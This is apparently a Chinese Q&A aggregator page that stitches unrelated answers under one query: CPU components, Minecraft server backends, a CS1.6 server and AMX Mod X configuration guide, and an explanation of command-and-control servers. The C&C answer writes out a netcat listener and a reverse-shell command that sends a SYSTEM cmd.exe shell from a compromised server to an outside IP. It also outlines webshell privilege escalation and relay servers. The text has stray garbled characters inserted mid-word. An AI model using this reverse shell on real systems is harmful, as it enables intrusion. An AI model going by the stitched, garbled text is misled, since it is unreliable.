導航:首頁 > 程序命令 > 什麼是命令控制伺服器

什麼是命令控制伺服器

發布時間:2024-10-09 15:11:29

① CPU是由什麼組成的

CPU組成:運算邏輯部件、寄存器部件和控制部件。

中央處理器(CPU,Central Processing Unit)是一塊超大規模的集成電路,是一台計算機的運算核心(Core)和控制核心( Control Unit)。它的功能主要是解釋計算機指令以及處理計算機軟體中的數據。

一、邏輯部件

英文Logic components;運算邏輯部件。可以執行定點或浮點算術運算操作、移位操作以及邏輯操作,也可執行地址運算和轉換。

二、寄存器

寄存器部件,包括寄存器、專用寄存器和控制寄存器。 通用寄存器又可分定點數和浮點數兩類,它們用來保存指令執行過程中臨時存放的寄存器操作數和中間(或最終)的操作結果。 通用寄存器是中央處理器的重要部件之一。

三、控制部件

英文Control unit;控制部件,主要是負責對指令解碼,並且發出為完成每條指令所要執行的各個操作的控制信號。

拓展資料

工作過程

CPU從存儲器或高速緩沖存儲器中取出指令,放入指令寄存器,並對指令解碼。它把指令分解成一系列的微操作,然後發出各種控制命令,執行微操作系列,從而完成一條指令的執行。指令是計算機規定執行操作的類型和操作數的基本命令。指令是由一個位元組或者多個位元組組成,其中包括操作碼欄位、一個或多個有關操作數地址的欄位以及一些表徵機器狀態的狀態字以及特徵碼。有的指令中也直接包含操作數本身。

提取

第一階段,提取,從存儲器或高速緩沖存儲器中檢索指令(為數值或一系列數值)。由程序計數器(Program Counter)指定存儲器的位置。(程序計數器保存供識別程序位置的數值。換言之,程序計數器記錄了CPU在程序里的蹤跡。)

解碼

CPU根據存儲器提取到的指令來決定其執行行為。在解碼階段,指令被拆解為有意義的片段。根據CPU的指令集架構(ISA)定義將數值解譯為指令。一部分的指令數值為運算碼(Opcode),其指示要進行哪些運算。其它的數值通常供給指令必要的信息,諸如一個加法(Addition)運算的運算目標。

② 我的世界伺服器後台是什麼

後台如下:

後台一般是由伺服器提供商准備的,提供一些簡化的功能,比如開啟、停止、重啟伺服器,快速添加白名單等功能。 還會有一個命令行頁面,可以使用指令進行伺服器管理。我們可以在這個後台裡面輸入命令,來控制游戲玩家的許可權,當然,他也會記錄玩家的聊天與操作等。

我的世界:

《我的世界》是一款帶有生存冒險元素的建造類游戲。我的世界:整個游戲世界由各種方塊構成,玩家可以破壞它們,也可以用自己的方塊隨意建造東西。

為了在游戲里生存和發展,玩家需要通過伐木、挖礦、捕獵等方式獲取資源,並通過合成系統打造武器和工具。隨著游戲的進行,玩家自立更生,逐漸建造出一個自己的家園。

③ CS1.6伺服器的架設,包括AMX插件的加入方法

伺服器完全架設手冊
沒有人一生出來就什麼都會的,同樣我也是什麼都不會,自己慢慢學的。我知道Dcoo上有很多高手,如果本文有錯誤的地方,請不吝指正。以下基本都是偶在Dcoo等論壇上學到的伺服器架設經驗之談,發出來給大家看看,讓大家都從菜鳥轉型為初級的伺服器架設高手。言歸正傳,一步一步來:
一、 首先
你必須要有個高配置的電腦,如果是做伺服器的話,最好內存是在512M以上的機器,至於 內存 CPU 等對架設CS伺服器的影響,請查看其他帖子!然後是要了解的是,你上網的網路結構,是通過 Modem+路由+交換機 上網,還是用 代理伺服器+交換機 上網,我的論壇的帖子也有介紹,在此我就不在多餘重復說了。可以到我簽名的地址去看看!
二、 CS的伺服器端文件

由於現在CS1.6已經是比賽的版本了,所以偶就以1.6的為主,1.5的其實也一樣的,但是會少了很多的特效,比如1.5就不支持中文等。這里提供的是DcOo 1.6 3213的伺服器端版本。
三、開始設置伺服器
完成以後,先不要運行,運行的話是進入游戲,而不是開始伺服器!進入剛才安裝的那個文件夾,找到Hlds.exe文件,創建一個快捷方式,如圖:

然後把剛才那個快捷方式改一下名字,方便以後使用,偶改為Server,接下來是重點了。。。。請注意聽了哦!
看到hlds.exe 後面那裡的參數了沒?

那裡就是伺服器運行的時候必須要用到的啟動參數,參數不同,伺服器運行的效果也不同!以偶的為例,
-game cstrike +servercfgfile server.cfg -nomaster -insecure -port 27016 +maxplayers 32 +map de_st2 +sv_lan 1 –console
偶一個一個解釋好了:)
-game cstrike 這個就是指定以反恐精英為游戲的Mod,如果不指定的話就是半條命的模式,聽說也不錯很好玩的哦,沒玩過

+servercfgfile server.cfg 這個就是指定伺服器的配置文件,server.cfg這個文件放在cstrike下,後面偶會詳細介紹一下該文件的

-nomaster 載入這個參數就是讓伺服器不上WON認證,避免因為出國網路不通導致的伺服器問題。

-insecure 這個參數偶一下想不起來是幹嘛用的了。其他知道的朋友,請指教,謝謝!

-port 27016 指定伺服器運行時候的埠,范圍最好是在27015-27020 之間,據我的測試,區域網列表能刷出來的就是在這個范圍內,當然,如果你想用來做比賽伺服器不想讓其他人進的話,你可以指定任意不被佔用的埠。

+maxplayers 32 這個參數是指定伺服器最大進入玩家數,理論上最高能進32人,有的地圖最高只能進20人,比如CS_italy 那些早期救人質的圖都這樣的。並不是說一定要以32人為最大,這個要和你的網路狀況及伺服器配置相聯系的,關於CPU 內存 網路帶寬 之間的聯系,請在Dcoo上搜索一下,或者到我的論壇去查找一下,只有人數合適了,你的伺服器才能運行在快速穩定的狀態!

+map de_st2 這個參數就是當伺服器一開始運行的時候,運行的第一張地圖,你可以該為任意的,但是要注意,最好以 cstrike\maps 目錄下的地圖,不然伺服器會出錯!

圖中,以bsp為結尾的文件都是地圖文件,注意:參數不用帶文件全名,例如 de_st2 就可以了, 沒必要這樣 de_st2.bsp

-console 控制台,如果不帶這個參數的話,你架設好的伺服器就不能在那個黑底白字的窗口上輸入一些伺服器命令

+sv_lan 1 這個參數是控制該伺服器是區域網還是戰網的一個重要參數,當為 0 的時候,外網玩家也可以進入,當為 1 的時候,就只有區域網的玩家才能進入。如果要做面向公網和內網(不知道什麼叫公網和內網的,請自己找資料學習),這個參數建議為 0
綜合以上講解,很容易了解,

-game cstrike +servercfgfile server.cfg -nomaster -insecure -port 27016 +maxplayers 32 +map de_st2 +sv_lan 1 -console

用這些個參數架設的伺服器是一個CS1.6反恐精英,不通過WON驗證,游戲埠為27016,人數最多為32人,開始游戲地圖為沙漠2,面向區域網的伺服器!

如果要面向內外網的話,去掉 -nomaster +sv_lan 1這兩個參
參數配置正確了,就可以開始運行伺服器了?別急,還沒配置完全呢,還有一個比較重要的文件server.cfg還沒配置呢!

進入安裝目錄的cstrike下,你可以看到一個Server.cfg文件,這個文件是一個文本文件,但是沒和任何文本編輯軟體關聯,也就是說,當你打開的時候,系統會提示你打開方式,你可以選擇用記事本打開。打開以後你會看到如下的信息:
(注意:一下信息是毛毛蟲在當時編寫的時候Server.cfg文件。而我在編寫的時候沒有參考毛毛蟲的腳本而是依照國際比賽伺服器的標准而設置的,這點要千萬注意!!)
rcon_password "dcoo"
hostname "迪酷網 DcOo CS1.6 Server"
sv_maxspeed 320
mp_autokick 0
mp_autocrosshair 0
mp_autoteambalance 0
mp_buytime 0.25
mp_consistency 1
mp_c4timer 35
mp_fadetoblack 1
mp_falldamage 1
mp_flashlight 1
mp_forcecamera 3
mp_friendlyfire 1
mp_freezetime 10
mp_fraglimit 0
mp_hostagepenalty 0
mp_limitteams 6
mp_logfile 1
mp_logmessages 1
mp_logdetail 3
mp_maxrounds 0
mp_playerid 0
mp_roundtime 2.5
mp_startmoney 800
mp_timelimit 60
mp_tkpunish 0
mp_winlimit 0
sv_aim 0
sv_airaccelerate 10
sv_airmove 1
sv_allowdownload 0
sv_clienttrace 1.0
sv_clipmode 0
sv_allowupload 0
sv_cheats 0
sv_gravity 800
sv_maxrate 25000
sv_maxspeed 320
sv_maxupdaterate 101
sys_ticrate 10000
decalfrequency 60
pausable 0
log on
decalfrequency 60
edgefriction 2
host_framerate 0
exec listip.cfg
exec banned.cfg

哇*,,,Dcoo的也太簡單了吧,我記得以前還帶解釋的,現在這么都這樣了呢?!

不管他,反正我也看得懂是啥意思,我來解釋好了!只解釋一些常用的,沒解釋到的推薦用默認值。一般 0 為關 1 為開

rcon_password "dcoo" 這個是進入伺服器的密碼,如果不改的話,就相當於是一個帶密碼的伺服器,推薦去掉 "" 裡面部分
hostname "迪酷網 DcOo CS1.6 Server" 伺服器的名字,這個當然要改的了,改為你想改的名字就行了
sv_maxspeed 320 重力速度什麼的,不推薦修改用默認的好了。。
mp_autokick 0 自動踢人,當某位玩家因為一些其他的因素,常時間不動或者死機等,系統就會踢除該玩家,0 為關 1為開
mp_autocrosshair 0 准心的大小自動調節,建議不要改
mp_autoteambalance 0 雙方自動平衡,建議開啟,否則會出現兩邊隊伍人數不平衡
mp_buytime 0.25 購買武器時間 以60秒為單位,60*0.25=15秒
mp_c4timer 35 C4爆炸時間,國際比賽好像是35秒,推薦用這個值就行了
mp_fadetoblack 1 死後黑屏,推薦改為0
mp_falldamage 1 跌落損傷,這個不用改
mp_flashlight 1 手電筒開啟
mp_forcecamera 3 死亡後視角 有0 1 2 3 三種模式,其中0 為視角固定模式 1 為僅限隊友視角 2 為僅限隊友第一視角 3為自由觀看模式
mp_friendlyfire 1 自傷模式,自己人能打自己人,不是比賽服的話推薦關掉
mp_freezetime 10 開始買槍時候的靜止不能行走的凍結時間,10秒也太誇張了。3秒就夠了
mp_roundtime 2.5 每回合的時間,以分為單位,2.5為兩分半鍾,推薦改為3或者3.5 如果是死亡模式的話可以改為5
mp_startmoney 800 開局資金,一般都是800 最高可以改為16000 不推薦改!
mp_timelimit 60 每個地圖玩的時間 60分鍾合適了。如果改為0 的話就是不限制時間
mp_tkpunish 0 Team Killer 就是上局殺了自己方人的,這局就會挨懲罰,好像是死一局,開啟為1 要和之前那個mp_friendlyfire 1同時開啟才用用
mp_winlimit 0 當某方勝利多少局的時候換圖,0 為關閉
當然還有其他比較詳細的介紹,我這個只是大概介紹一下,偶發偶服的出來給大家看看:

sv_password ""
rcon_password "feilang"
hostname "南寧市飛浪網CS1.6比賽服 [CD]"
sv_maxrate 10000
sv_minrate 1000
sv_maxspeed 320
// 暫停游戲 禁止0/允許1
pausable
// 作弊模式 關閉0/開啟1
sv_cheats 0

// 自動瞄準 關閉0/開啟1
sv_aim 0
// 戰術手電筒 允許1/禁止0
mp_flashlight 1
// 腳步聲 開啟1/關閉0
mp_footsteps 1
// 高處落下傷害 開啟1/關閉0
mp_falldamage 1
// 自動踢出不動的玩家 開啟1/關閉0
mp_autokick 1
// 觀察員模式 開啟1/關閉0
allow_spectators 1
// 服務端設定游戲復位的時間,包括殺人數、武器、金錢和得分。設0不復位。
sv_restartround 2
// 每局時間30分鍾
mp_timelimit 45
// 購買武器凍結時間 (0-45)建議5秒以內。
mp_freezetime 3
// 每回合4分鍾
mp_roundtime 3
//購買武器裝備時間(0.25-1.5)即15秒-90秒
mp_buytime 0.25
// 炸彈倒計時時間 (15-75)
mp_c4timer 35
//開始游戲時的金錢數量(800-16000)
mp_startmoney 800
// 死亡後視角 1本隊隊友 2原地 0無限制
mp_forcechasecam 1
// 死亡後視角模式 0自由跟隨/1固定跟隨
mp_chasecam 1
// 人物死亡後屏幕 不變黑0/變黑1
mp_fadetoblack 0
// 友軍誤傷 關閉0/開啟1
mp_friendlyfire 0
// 手雷友軍傷害 關閉0/開啟1
mp_friendly_grenade_damage 0
// 殺害友軍懲罰 0不懲罰/懲罰:殺害隊友超過(1-n)人,下一回合自動死亡
mp_tkpunish 0
// 自動調整雙方隊伍平衡 不調整0/調整(1-n)個人
mp_autoteambalance 1
// 雙方人數差超過n人即自動調整人數差異 0關閉
mp_limitteams 2
// 殺害人質懲罰 0不懲罰/懲罰:規定時間內傷害人質超過(1-n)人自動踢出
mp_hostagepenalty 0
// 殺人數、得分上限 無0/有(1-n),超過上限就換地圖。
mp_fraglimit 0
// 勝利次數上限無0/有(1-n),超過上限就換地圖。
mp_winlimit 0
// 回合上限 無0/有(1-n),超過上限就換地圖。
mp_maxrounds 0
// 允許下載 開啟1/關閉0
sv_allowdownload 1

// 允許下載(sv_allowdownload 1)開啟時控制是否允許玩家的LOGO傳送 允許1/禁止0
sv_send_logos 1
// 允許下載(sv_allowdownload 1)開啟時控制是否允許資源文件傳送 允許1/禁止0
sv_send_resources 1
// 允許上傳 關閉0/開啟1
sv_allowupload 1
// 伺服器重力設置 默認正常重力800,范圍-999到99999
sv_gravity 800
// 投票比率(大家可以通過投票踢出作弊者和更換地圖) (0.1-1)
mp_mapvoteratio 0.6
// 設定鬼魂模式刷新值(0.1-1)
mp_ghostfrequency 0.1
// 伺服器高品質紋理 關閉0/開啟1
sv_sendvelocity 0
// 伺服器減少LAG延遲現象(對伺服器要求高) 關閉0/開啟1
mp_lowlag 0
// 伺服器細節數據發送 默認300 ,可減低到250、200,改善速度。
mp_decals 300
// 伺服器是否允許麥克風語音通訊 允許1/禁止0
sv_voiceenable 1
// 伺服器是否允許客戶端之間使用語音通信 允許1/禁止0
sv_alltalk 0
sv_region 4
//區域 4為亞洲

cdrequired "1"
cdrequiredversion auto
//為1 是需要CD ,第二行為自動檢測CD版本
// 伺服器是否記錄文件 不記錄0/記錄1
mp_logfile 0
// 是否在記錄文件里記錄談話內容 不記錄0/記錄1
mp_logmessages 0
// load ban files
exec listip.cfg
exec banned.cfg

紅色字體部分復制下來,粘貼入你的server.cfg文件,就和我的伺服器設置一樣了,當然你要記得改密碼和伺服器名字哦!
當然,你也可以直接用cs1.6目錄下那幾個bat批處理文件架設的伺服器!

編輯一下 setmaster add 69.28.151.178:27010 看到沒有,這個肯定不是你的IP,你要做的就是改為你自己的IP 。注意哦,192.168.X.X這個不是你的公網IP,這個是你的區域網IP,如果你是網吧的技術員的話,自己想法子找到你網吧用的線路的IP,然後做好對應的埠映射,映射已經超出本帖的范圍了,在此先不教。相關的請到我的論壇去看找一下各種路由的映射方法。

接下來就要解釋一下其他幾個個性化伺服器必須要修改到的文件,這兩個也是其中的一部分:

mapcycle.txt 地圖列表文件,也就是當伺服器運行的時候,就只會在這個文件中有的地圖之間從上到下運行,
de_st2
de_inferno
de_cbble
de_train
de_nuke
de_cpl_mill
de_aztec
de_st
從第一個到最後一個,然後在循環
motd.txt 這個文件比較特殊,這個就是當玩家進入你的伺服器的時候,看到的第一個歡迎logo,它是以文本文件形式存在,但是確實一個html網頁的源碼,如果你有網頁製作的功底的話,可以做得很好看,在此我就獻丑,放一下我對這個文件修改以後的效果給大家看看:

如果你沒那個功底,你可以找會的朋友幫你做一個,不是很難。
接下來的就是問最多的插件問題了,點擊這里下載用到的文件
解壓到cstrike的addons目錄下,完成後目錄結構如下:

第一個amxmodx 是amx插件的主文件夾,其下的configs 是一些插件的設置amxx.cfg 是一些amx的設置,plugins.ini是插件的調用配置管理,users.ini 是用戶配置文件,用戶的一些許可權都是在這里設置的。amxmodx\doc 裡面有個幫助文件,那裡可以學到更多關於amx的管理和使用,amxmodx\plugins 是一些插件的源碼文件的存放位置,大致介紹各個文件夾放在什麼位置,等下偶會詳細解釋最主要的amx.cfg 和plugins.ini還有 users.ini的配置!

addons\Booster 這個是伺服器加速插件,推薦一定要開啟,那樣伺服器才能運行在一個高速的狀態下;開啟於關閉我會在後面介紹;

addons\cdeath 這個是CD反作弊伺服器版的文件,很多朋友都不知道怎麼樣使用,偶等下在介紹吧!

addons\metamod 下的 plugins.ini addons\amxmodx\configs 下的 plugins.ini 又不同,這個plugins.ini 是所有插件的基礎,另外一個只是針對amx載入的插件!

所以接下來可能要花很長的時間和篇幅對以下插件進行講解:

addons\metamod\plugins.ini
addons\amxmodx\configs\amxx.cfg
addons\amxmodx\configs\plugins.ini
addons\amxmodx\configs\users.ini

現在我開始講解一下所有插件的根基,addons\metamod\plugins.ini 的配置吧!

win32 addons\booster\booster_mm.dll 這個是伺服器的加速插件,如果不載入這個東西的話,伺服器最高不超過99Fps
;win32 dlls\chicken_mm.dll 這個是一個娛樂用的,也就是變成小雞的插件。
;win32 addons\amx\dlls\amx_mm.dll 這個是載入amx的插件,如果不載入的話,很多基於amx的插件就用不了,比如死亡
;win32 addons\amx\dlls\fun_ms.dll 這個也是死亡和魔獸伺服器中必須要用到的插件
;win32 addons\amx\dlls\csstats_ms.dll 這個也是死亡和魔獸伺服器中必須要用到的插件
;win32 addons\amx\dlls\war3_ms.dll 這個是Amx的一個子插件,魔獸插件,可以在該plugins.ini 中配置,也可以在另外那個plugins.ini (addons\amxmodx\configs\plugins.ini )中載入但是就只能載入一個,重復的不算
;win32 dlls\monster_mm.dll 這個也是Amx的一個子插件,同樣可以在這里配置也可以在另外那個 plugins.ini 中配置
;win32 addons/wwcl/dlls/pcawwclconfig_mm.dll WWCL 這個是一個規則插件,某種程度上也能防到某些玩家作弊
win32 addons/cdeath/cdmod.dll 這個就是大名鼎鼎的 Cheating-Death CD反作弊的插件,不過現在最新的4.29注意載入的話,會使伺服器出錯,在後面我會詳細介紹一下最新版本的CD如何載入!

所有的插件以「;」(半形模式下的分號) 開啟和關閉 也就是說,你要開啟某個插件的話,就不能在該行之前用這個符號,如果不想開啟某個插件的話,就在該行 即win32的前面,加上一個這個,就能讓那個插件不運行了!
比如:
我想屏蔽ChickenMod 1.0.5.1插件,只需要在win32 dlls\chicken_mm.dll這行行首加入;注釋符號屏蔽掉這行即可,即將win32 dlls\chicken_mm.dll改為;win32 dlls\chicken_mm.dll
這樣我們在啟動伺服器時,伺服器就不會啟動ChickenMod 1.0.5.1插件插件。如果想再次開啟ChickenMod 1.0.5.1插件,只需要把此行行首的;符號去掉並保存plugins.ini文件即可。其他插件的屏蔽/開啟也是如此。

也許大家這里看不是很明白,我找了張圖出來,大家看看參考下:

這個圖不是安裝了Dcoo這個版本的時候帶的,是小凡cs1.5紀念版中有的,放出來的意義是讓大家更直觀的了解各個命令行的意思!
該版本下的這個文件的內容太簡單了,不過基本功能倒是沒丟失,如下

; 說明:
; 開啟某個模塊請去掉前面的分號
; 關閉某個模塊請在前面加上分號

;////////////////////////////////////////////////////////////
;// --------------------- Booster ------------------------ //
;////////////////////////////////////////////////////////////
; 請按自己的CPU選擇你需要的程序, 以下2個只能開啟一個
win32 addons/Booster/booster_mm.dll
;win32 addons/Booster/booster_686_mm.dll

;////////////////////////////////////////////////////////////
;// ------------------- AMX Mod X ------------------------ //
;////////////////////////////////////////////////////////////
win32 addons/amxmodx/dlls/amxmodx_mm.dll
; linux 請按自己的CPU選擇你需要的程序, 以下2個只能開啟一個
linux addons/amxmodx/dlls/amxmodx_mm_i386.so
;linux addons/amxmodx/dlls/amxmodx_mm_amd64.so

;////////////////////////////////////////////////////////////
;// --------------- Cheating Death ----------------------- //
;////////////////////////////////////////////////////////////
; win32 請按自己的CPU選擇你需要的程序, 以下5個只能開啟一個
win32 addons/CDeath/cdmod.dll
;win32 addons/CDeath/cdmod_i486.dll
;win32 addons/CDeath/cdmod_i586.dll
;win32 addons/CDeath/cdmod_k7.dll
;win32 addons/CDeath/cdmod_p4.dll
; linux 請按自己的CPU選擇你需要的程序, 以下5個只能開啟一個
linux addons/CDeath/cdmod_i386.so
;linux addons/CDeath/cdmod_i586.so
;linux addons/CDeath/cdmod_i686.so
;linux addons/CDeath/cdmod_k7.so
;linux addons/CDeath/cdmod_p4.so

有點亂,大家就只要注意沒分號的部分吧!linux不在本帖的討論范圍內,偶對linux的伺服器不了解,雖然現在也在學習中
接下來就是amxx.cfg和plugins.ini 還有users.ini 的配置講解了,先從amxx.cfg開始好了:)

其實amxx.cfg文件裡面已經有很多的提示了,我就大概說一下吧!先來看偶安裝的這個Dcoo中amxx.cfg各部分的參數:

// AMX MOD X 配置文件.
echo Executing AMX Mod X Configuration File

// 用戶的默認許可權,可以用此定義為普通的玩家也加上各種許可權,相關許可權請參考uers.ini文件的許可權說明
這個就是玩家的默認許可權,相關的許可權在users.ini 中有設置
// AMX的遠程登陸總密碼(所有op都一樣),首次配置時必須修改。
// setinfo信息會將密碼保存在config.cfg文件里。(為了避免泄露密碼,請在結束游戲後刪除自己的config.cfg)
// (管理員登陸時請控制台里輸入 setinfo _pw "管理員密碼",或者直接寫入自己的config.cfg文件中)
amx_password_field "_pw" 這個就是amx遠程OP的密碼,一定要改的,別和server.cfg中的密碼混淆就行
// 伺服器的記錄模式選項
// 0 - 禁止許可權登陸,所有的玩家都沒有任何的許可權
// 1 - 正常模式
// 2 - kick所有users.ini文件上無帳號的玩家
amx_mode 1 伺服器的記錄模式,一般默認就行了。
// 在op執行某個命令時是否顯示op的行動
// 0 - 關閉
// 1 - 不顯示OP的行動
// 2 - 顯示OP的行動
amx_show_activity 2
// 伺服器定時在下方滾動顯示伺服器信息,以秒為單位
amx_scrollmsg "歡迎來到 %hostname% -- 該伺服器使用了 AMX Mod X 管理插件" 600
這里就是一些在游戲中看到的滾動的字的設置位置,可以多設置幾條,但是要注意最後那裡時間,不能相同,否則就只顯示頭一條!
// clanmod風格的伺服器MOTD彩色信息,後面的顏色RGB代碼可以自己修改
amx_imessage "歡迎來到 %hostname%" "000255100"
amx_imessage "這個伺服器使用了 AMX Mod X 管理插件\n下載地址 http://www.amxmodx.org" "000100255"
這個就是在游戲中,時不時顯示在屏幕中央的一些文字,注意是不滾動的哦!同樣也可以多寫幾條,也要注意時間,最後那些 RGB代碼 則是這里文字在游戲中顯示的顏色,具體的代碼我也不太了解,畢竟偶只對游戲有興趣,偶又不是做設計一天和那些顏色打交道的。
// 信息顯示的間隔時間,以秒為單位
amx_freq_imessage 180

// 這個選項聊天間隔時間的設置,防止server因聊天信息過多導致lag,以秒為單位)
amx_flood_time 0.75
// 預留的管理員通道數,沒有許可權的玩家進入此通道時會被kick(具體細節看插件原碼)
amx_reservation 0
// 剩餘時間顯示的設置
// a - 以文本方式顯示
// b - 用語音來提示
// c - 只使用語音,不顯示文本
// d - 不顯示詳細的時間格式,僅用語音提示
// e - 如果時間小於現在的設置,用語音和文本進行提示
amx_time_display "ab 1200" "ab 600" "ab 300" "ab 180" "ab 60" "bcde 11"
// 當用戶使用 "say thetime" 和 "say timeleft" 時使用語音通報
amx_time_voice 1
// 兩個vote事件之間的最小延遲時間,以秒為單位。(為了防止惡意投票,請將間隔設置長些)
amx_vote_delay 10
// 一個VOTE事件持續的最長時間
amx_vote_time 10
// 顯示玩家投票的選擇結果
amx_vote_answers 1
// 投票成功所需要的百分比數(0.40為超過40%即投票成功,以此類推)
amx_votekick_ratio 0.40
amx_voteban_ratio 0.40
amx_votemap_ratio 0.40
amx_vote_ratio 0.02
// 最長可以延長正在游戲的地圖的時間(好象是以分鍾為單位)
amx_extendmap_max 90
// 每次默認延長15分鍾
amx_extendmap_step 15
// 排行模式
// 0 - 昵稱
// 1 - authid
// 2 - ip
csstats_rank 1
// 排行文件最大尺寸
csstats_maxsize 3500
// 顯示HUD統計的持續時間
amx_statsx_ration 12.0
// HUD統計信息在凍結時間里的顯示時長
// 如設為負數表示在凍結時間結束前多少秒清除HUD統計信息
amx_statsx_freeze -2.0
//設定為0時,將不允許客戶端選擇語言
amx_client_languages 1
// 插件調試模式
// 0 - 不調試
// 1 - 選擇模式,在 plugins.ini 中需要調試的插件後加 debug
// 2 - 全部插件都在調試模式下
// 注意 - 調試模式下會影響 JIT (Just In Time)運行
amx_debug 1

基本就注意,因為這個文件本身已經帶了詳細的註解,偶有的解釋還顯得多餘了呢!
現在來看看 users.ini 中的一些配置好了!

該文件和amxx.cfg在同一個目錄下,目錄中內容如下:

; 用戶配置文件
; 文件位置: $moddir/addons/amxmodx/configs/users.ini
; 每行前的 ; 表示注釋該行
; 許可權標記:
; a - immunity (不能被 踢/封/處死/傷害 或者其他的命令影響)
; b - reservation (可通過預留通道加入伺服器)
; c - amx_kick command (擁有KICK許可權)
; d - amx_ban and amx_unban commands (擁有ban的許可權)
; e - amx_slay and amx_slap commands (擁有強行殺死某人的許可權)
; f - amx_map command (擁有更換地圖的許可權)
; g - amx_cvar command (可以設置amx的設置參數,但並不是所有的都可以)
; h - amx_cfg command (可以載入某個AMX的CFG設置文件許可權)
; i - amx_chat and other chat commands (可以以管理員身份發布消息)
; j - amx_vote and other vote commands (可以發起一個投票事件)
; k - access to sv_password cvar (可以更改為伺服器加密碼)
; l - access to amx_rcon command and rcon_password cvar (by amx_cvar command)(可以用RCON命令來以OP身份登陸伺服器)
; m - custom level A (自定義管理級別,為附加的其他插件預留的許可權等級)
; n - custom level B
; o - custom level C
; p - custom level D
; q - custom level E
; r - custom level F
; s - custom level G
; t - custom level H
; u - menu access (擁有打開MENU管理菜單的許可權)
; z - user (普通用戶許可權)
; 帳號類型:
; a - disconnect player on invalid password (此用戶的id進入伺服器時需要檢測密碼)
; b - clan tag (此用戶的id帶有戰隊標簽)
; c - this is steamid/wonid (此用戶*steamid/wonid進入伺服器)
; d - this is ip (此用戶*ip進入伺服器)
; e - password is not checked (only name/ip/steamid needed)(此用戶進入時不檢查密碼,只需要id或者ip或者steamid)
; 密碼:
; 在自己的autoexec.cfg里加入: setinfo _pw "<管理員密碼>"
; 此處 _pw 代表的是參數 amx_password_field 設定的密碼
; 管理員帳號格式:
; <名字|ip|steamid> <管理員密碼> <許可權等級> <帳號類型>

④ 什麼是C&C伺服器

C&C 伺服器的全稱是 Command and Control Server,翻譯過來就是命令和控制伺服器

通常在做滲透測試的時候,在拿到一個 webshell 的時候,需要對伺服器進行提權操作,如果是一台 windows 的伺服器,提權的時候通常是利用本地提權漏洞的 exp 進行溢出提權,有些 exp 可以直接在後面加參數,溢出成功之後執行參數中的命令。

而有橘橋的 exp 溢出成功之後是返回一個 system 許可權的 cmd,這時就需要將低許可權的 cmd shell 反彈回本地,這里用 nc 在本地執行:nc -vv -lp 3333

上述命令的意思是在本地監聽一個 3333 埠等待連接,假設電腦 IP 是公網的,並且 IP 為 114.114.114.114,然後在目標伺服器就可以執行:nc 114.114.114.114 3333 -e cmd.exe

上面的命令就可以把遠程伺服器的伺服器許可權的 cmd shell 返回到本地,這時你就可以通過 nc 建立的這個 shell 進行通信,發送你要執行的命令,在遠程伺服器接收到命令之後執行並將結果返回,這時本機電腦就是一個簡易的 C&C 服圓慎猛務器。

(4)什麼是命令控制伺服器擴展閱讀

C&C 伺服器使目標機器可以接收來自伺服器的命令,從而達到伺服器控制目標機器的目的。該方法常用於病毒木馬控制被感染的機器。

通常只有這樣內網的伺服器才可以訪問進行連接,所以可以使用一台中轉伺服器,這台中轉伺服器有一個公網 IP 地址是:111.111.111.111,這樣不管是目標伺服器還是我孝檔們本機都可以訪問這台中轉伺服器。

這里中轉伺服器的作用就是本地內網的主機監聽的埠映射到公網 IP 的某個埠,這樣目標機訪問中轉伺服器監聽的埠就相當於訪問了我們本地監聽的埠。

閱讀全文

與什麼是命令控制伺服器相關的資料

熱點內容
粵政易文件放在手機哪個文件夾 瀏覽:105
列印機和傳真命令 瀏覽:548
php添加購物車 瀏覽:5
安卓怎麼下載植物大戰僵屍1無盡版 瀏覽:267
程序員上班下班難嗎 瀏覽:299
夢的pdf微盤 瀏覽:186
材料結構分析pdf 瀏覽:795
程序員預研的項目 瀏覽:346
新華保險伺服器登錄不上怎麼回事 瀏覽:397
氣溫高時汽車空調壓縮機振動 瀏覽:563
分配器python 瀏覽:228
outlook伺服器怎麼查詢 瀏覽:400
python預測疫情代碼 瀏覽:982
普通化學原理pdf 瀏覽:908
java的聖經 瀏覽:41
python遍歷兩個數組 瀏覽:396
手游搭建雲伺服器 瀏覽:401
視易鋒雲伺服器啟動黑屏 瀏覽:139
python怎麼獲取網頁a標簽內容 瀏覽:982
app更新後老的安裝包去哪裡了 瀏覽:199